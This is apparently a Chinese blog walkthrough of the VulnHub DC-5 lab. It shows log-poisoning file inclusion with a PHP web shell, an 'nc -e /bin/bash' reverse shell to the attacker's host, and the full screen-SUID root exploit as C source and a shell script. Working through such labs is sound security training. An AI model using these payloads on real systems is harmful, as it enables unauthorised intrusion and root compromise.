前言
这次的靶场是vulnhub下的dc-5,下载地址是DC: 5 ~ VulnHub,老样子,下载解压后,用vmware
打开
一.准备工作
配置靶机的网络适配器为nat模式
输入命令
arp-scan -l
输入命令
nmap -A -sV -p- --min-parallelism 100 192.168.188.136
可知靶机开放了80端口和111端口,并且网站使用的是nginx版本
输入靶机ip到浏览器上
在这里我们要着重注意网站数据交互的地方,因为在这些地方容易存在漏洞
在这里的contact.php有一个数据交互的点,我们随便填写些东西点击提交,发现会跳转到thankyou.php这个页面,并且下方的copyright也发生了改变,猜测下方这个页面可能可以通过参数来控制。
此时我们在填写内容里面输入些单引号和双引号提交之后看看会不会报错
发现还是跳转到了thankyou.php这个页面
二.目录扫描
在这里下方这个页面猜测可以通过参数进行控制,进行目录扫描,看看有没有可疑的页面
输入命令
dirsearch -u 192.168.188.136
发现index.php和thankyou.php是在同一个目录下,因此我们可以尝试在thankyou.php中将index.php包含进来。一般文件包含的参数有include,file,f,require,page等,可以先尝试用这些常见的参数,如果还是不行的话,再尝试字典爆破,最终得知了使用的参数是file
在浏览器上输入
192.168.188.136/thankyou.php?file=index.php
发现已经成功将首页包含进来了,试一下网站目录外的文件
192.168.188.136/thankyou.php?file=/etc/passwd
/etc/passwd
是 Unix 和 Linux 系统中用于存储本地系统账户信息的文件。这个文件包含系统上每个用户的基本信息,例如用户名、用户ID、组ID、家目录和默认shell等。每个用户占一行,字段之间用冒号 (:
) 分隔。
发现也可以,,那么我们也可以包含nginx的日志文件。每当我们访问一个页面,nginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/中。我们尝试将一句话木马写入日志文件中。
http://192.168.188.136/thankyou.php?file=<?php system($_GET['a']);?>
http://192.168.188.136/thankyou.php?file=/var/log/nginx/error.log&a=id
发现命令没起作用,写入日志的命令是通过url编码后的命令,所以服务器就把它当成一个字符串了。我们可以使用burpsuite提交数据,这样就可以避免url编码
三.Burpsuite提交
在这里也给大家分享点经验,就是如果大家想用物理机上的burpsuite去拦截kali上的包的话,需要做如下配置
首先打开自己bp,按照如下步骤进行设置(记住一定要选择所有接口,启动中一定要是勾选状态)
查看自己的物理机IP
打开kali上的火狐浏览器,在settings里面搜索proxy
ip地址就是物理机的ip地址,端口为8080,设置完成后点击ok
这样物理机上的burpsuite去能够去拦截kali上的数据包了,当我们访问contact.php时,bp就会进行拦截
此时我们用bp来进行请求提交,在浏览器上输入一句话木马
http://192.168.188.136/thankyou.php?file=<?php system($_GET['a']);?>
下图是bp拦截下来的,发现确实是进行了url编码
我们将其改成一句话木马,然后对其进行放行
在浏览器上输入
http://192.168.188.136/thankyou.php?file=/var/log/nginx/error.log&a=id
发现显示出了id命令,后面的步骤就不需要用到bp了,可以关掉bp以及火狐上的代理
四.反弹shell
在kali本地新建一个监听端口
在浏览器上输入
http://192.168.188.136/thankyou.php?file=/var/log/nginx/error.log&a=nc -e /bin/bash 192.168.188.128 4443
注意:后面的IP地址为kali本地的IP地址
发现已经成功连接
升级成交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
五.提权
最后一步了,也是比较难的一步,提权。首先试一下suid提权
输入命令
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-perm 是代表按指定权限搜索。
-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。关于这个参数更详细的内容可以参考:https://blog.youkuaiyun.com/weixin_44061169/article/details/105784760
-tpye 代表搜索指定的类型,f代表文件。
-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以分号为结束标识。更详细内容可以参考:https://www.pianshen.com/article/86691137271/
2>/dev/null 代表不显示错误信息,详细介绍已经在前面的博客讲了,可以参考我前面的博文
在这里发现了一个可疑文件,在msf搜索下
这里我们用一下第一个文件,将其复制下载下来
经过测试这个文件直接上传执行不会成功,需要分别将里面的代码分为三个部分,分别编译后执行才能成功
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
将这段代码保存为 libhax.c
,并执行下面命令进行编译
gcc -fPIC -shared -ldl -o libhax.so libhax.c
-fPIC 参数表明使用地址无关代码。
-shared 参数表明产生共享库。
-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。
简单几句是讲解不清这些参数的作用的,更多内容可以参考:
https://bbs.youkuaiyun.com/topics/300122156,gcc 参数 -ldl 是指什么?
https://blog.youkuaiyun.com/hlzs_01/article/details/39337557,gcc -ldl
https://www.cnblogs.com/cswuyg/p/3830703.html,Linux共享对象之编译参数fPIC
接下来将下面代码保存为另一个文件 rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
然后执行下面命令编译rootshell.c
gcc -o rootshell rootshell.c
然后将下面代码保存为getroot.sh
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
然后将编译后的文件和 getroot.sh
共三个文件一起上传到靶机的 /tmp
目录。在靶机执行下面命令
nc -lvnp 4448 > libhax.so
这代表监听4448端口,并把监听到的数据写入libhax.so这个文件中
然后在本地执行下面命令
nc 192.168.188.136 4448 < libhax.so
如果靶机上的connect最后一行出现了数字,就认为上传成功了,上传结束后在本地按ctrl+c结束。其他两个文件按照这种方法依次上传
,要注意的是需要上传到 /tmp
目录下,因为代码中使用的是绝对路径。
给 getshell.sh
赋予执行权限,然后执行
chmod +x getroot.sh./getroot.sh
现在已经提权成功了,可以去/root
目录获取flag了